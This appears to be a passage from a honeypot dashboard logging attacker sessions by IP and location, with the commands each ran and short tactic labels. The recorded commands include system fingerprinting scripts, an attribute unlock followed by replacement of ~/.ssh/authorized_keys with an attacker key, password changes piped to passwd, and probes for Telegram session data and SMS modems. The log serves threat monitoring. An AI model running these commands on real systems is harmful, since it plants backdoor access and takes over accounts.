|| true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"

$ uname -s -v -n -m 2 > /dev/null ×25

$ /bin/uname -s -v -n -m 2 > /dev/null ×16

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×16

$ busybox uname -s -v -n -m 2 > /dev/null ×16

$ ( [ -f /proc/version ] ×16

$ [ -f /proc/version ] ×16

$ head -1 /proc/version | cut -d -f1 ×16

$ [ -f /etc/os-release ] ×16

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×15

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ×9

$ uname -m 2 > /dev/null ×9

$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ×9

🎭 ashen_bamboo_root (123.58.198.35) — Ho Chi Minh City, Vietnam · 1 session · 2 cmds

2026-07-04 16:20 EDT · as oracle/abc123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 nocturnal_merlion_root (43.134.33.250) — Singapore, Singapore · 1 session · 2 cmds

2026-07-04 16:11 EDT · as oracle/abc123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 rabid_eagle_root (92.118.39.14) — Dallas, United States · 12 sessions · 108 cmds

2026-07-01 08:03 EDT · as admin/123456, admin/admin123, admin/password

PATH manipulation via export → OS fingerprinting with uname -s -v -n -m → kernel version extraction from /proc/version → OS release detection via /etc/os-release → hardware profiling suppressed by redirecting output to /dev/null

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×3

$ uname -s -v -n -m 2 > /dev/null ×12

$ /bin/uname -s -v -n -m 2 > /dev/null ×12

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×12

$ busybox uname -s -v -n -m 2 > /dev/null ×12

$ ( [ -f /proc/version ] ×12

$ [ -f /proc/version ] ×12

$ head -1 /proc/version | cut -d -f1 ×12

$ [ -f /etc/os-release ] ×12

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×9

🎭 sneaky_wok_root (219.151.148.162) — Chongqing, China · 1 session · 1 cmd

2026-07-04 14:01 EDT · as root/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 silent_liberty_root_98 (99.92.204.98) — Dallas, United States · 1 session · 2 cmds

2026-07-04 12:46 EDT · as oracle/oracle!

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 unhinged_ghost_root (91.92.40.12) — Varna, Bulgaria · 10 sessions · 80 cmds

2026-06-24 10:31 EDT · as root/1234, root/123456, root/12345678

PATH injection via export → OS fingerprinting via uname -s -v -n -m → kernel version extraction from /proc/version → OS release detection via /etc/os-release → uptime sampling from /proc/uptime

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×6

$ uname -s -v -n -m 2 > /dev/null ×10

$ /bin/uname -s -v -n -m 2 > /dev/null ×8

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×8

$ busybox uname -s -v -n -m 2 > /dev/null ×8

$ ( [ -f /proc/version ] ×8

$ [ -f /proc/version ] ×8

$ head -1 /proc/version | cut -d -f1 ×8

$ [ -f /etc/os-release ] ×8

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output" ×2

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ×2

$ uname -m 2 > /dev/null ×2

$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ×2

🎭 lurking_rogue_root (195.178.110.217) — Andorra la Vella, Andorra · 12 sessions · 78 cmds

2026-06-24 20:25 EDT · as root/1234, root/123456, root/12345678

OS fingerprinting via uname -s -v -n -m → kernel version extraction from /proc/version → OS identification via /etc/os-release → uptime sampling → PATH environment hardening → reconnaissance completion without payload execution

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×3

$ uname -s -v -n -m 2 > /dev/null ×12

$ /bin/uname -s -v -n -m 2 > /dev/null ×6

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×6

$ busybox uname -s -v -n -m 2 > /dev/null ×6

$ ( [ -f /proc/version ] ×6

$ [ -f /proc/version ] ×6

$ head -1 /proc/version | cut -d -f1 ×6

$ [ -f /etc/os-release ] ×6

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×3

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ×6

$ uname -m 2 > /dev/null ×6

$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ×6

🎭 derelict_yankee_root_209 (71.206.190.209) — Richmond, United States · 1 session · 9 cmds

2026-07-04 05:42 EDT · as root/root

root/root login → network interface enumeration via ifconfig → OS fingerprinting with uname -a → hardware profiling via /proc/cpuinfo → Telegram data directory reconnaissance → GSM modem device check → cryptominer process verification → C2 payload retrieval attempt via locate → benign echo test

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 unhinged_volcano_root (103.154.77.48) — Sleman, Indonesia · 2 sessions · 22 cmds

2026-06-23 09:33 EDT · as admin/admin123, oracle/1111

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "admin123\nWvptwUbQVdhG\nWvptwUbQVdhG"|passwd|bash

$ Enter new UNIX password:

$ echo "admin123\nWvptwUbQVdhG\nWvptwUbQVdhG\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 clandestine_dragon_root (114.96.79.13) — Hefei, China · 1 session · 1 cmd

2026-07-04 01:29 EDT · as root/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 wily_monsoon_root_14 (38.137.11.14) — Chandigarh, India · 1 session · 20 cmds

2026-07-04 01:18 EDT · as admin/admin123

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

